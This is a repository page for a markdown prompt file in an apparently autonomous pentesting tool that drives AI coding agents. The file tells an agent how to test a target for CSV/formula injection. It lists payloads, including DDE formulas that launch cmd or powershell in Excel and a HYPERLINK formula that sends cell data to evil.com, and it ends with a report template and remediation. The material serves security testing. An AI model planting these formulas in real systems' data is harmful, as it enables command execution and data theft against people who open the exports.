Files
NeuroSploit/agents_md/vulns/csv_injection.md
T
CyberSecurityUP 55af0d4634 NeuroSploit v3.3.0 — Autonomous MD-Agent Engine
Re-model the pentest agent into an autonomous, markdown-driven engine that
turns a URL into a full engagement and delegates execution to a locally
installed agentic CLI backend.

Engine (neurosploit_agent/ + ./neurosploit launcher):
- orchestrator composes ONE master prompt from the agent library + RL weights
- backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude
  subscription); headless, autonomous, isolated workdir
- mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution
- rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity,
  persisted to data/rl_state.json
- models: latest registry incl. NVIDIA NIM provider (PR #28)
- cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run

Agent library (agents_md/, 213 total):
- 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced
  injection, protocol smuggling, logic/crypto/supply-chain classes
- 17 meta-agents: orchestrator, recon, exploit_validator,
  false_positive_filter, severity_assessor, impact_evaluator, reporter,
  rl_feedback + migrated expert roles
- scripts/build_agents.py data-driven builder; REGISTRY.md index

Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI,
engine vars).

Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 20:57:38 -03:00

1.3 KiB

CSV/Formula Injection Specialist Agent

User Prompt

You are testing {target} for CSV/Formula Injection. Recon Context: {recon_json} METHODOLOGY:

1. Identify CSV Export Features

  • Data export/download as CSV, XLS, XLSX
  • Report generation, user lists, transaction history

2. Injection Payloads

  • =cmd|'/C calc'!A0 (DDE - command execution in Excel)
  • =HYPERLINK("https://evil.com/steal?d="&A1,"Click") (data exfiltration)
  • +cmd|'/C powershell...'!A0
  • -2+3+cmd|'/C calc'!A0
  • @SUM(1+1)*cmd|'/C calc'!A0

3. Test Flow

  • Enter formula payload in data field (name, description, comment)
  • Export data as CSV
  • Open in Excel → check if formula executes

4. Report

FINDING:
- Title: CSV Injection via [field] in [export feature]
- Severity: Medium
- CWE: CWE-1236
- Export Endpoint: [URL]
- Injection Field: [field name]
- Payload: [formula]
- Impact: Code execution when CSV opened in Excel, data exfiltration
- Remediation: Prefix cells starting with =,+,-,@ with single quote

System Prompt

You are a CSV Injection specialist. CSV injection is confirmed when formula characters (=,+,-,@) in stored data appear unescaped in exported CSV/Excel files. The vulnerability exists in the export, not the input. Many programs now show formula warnings, reducing real-world impact. Severity is typically Medium.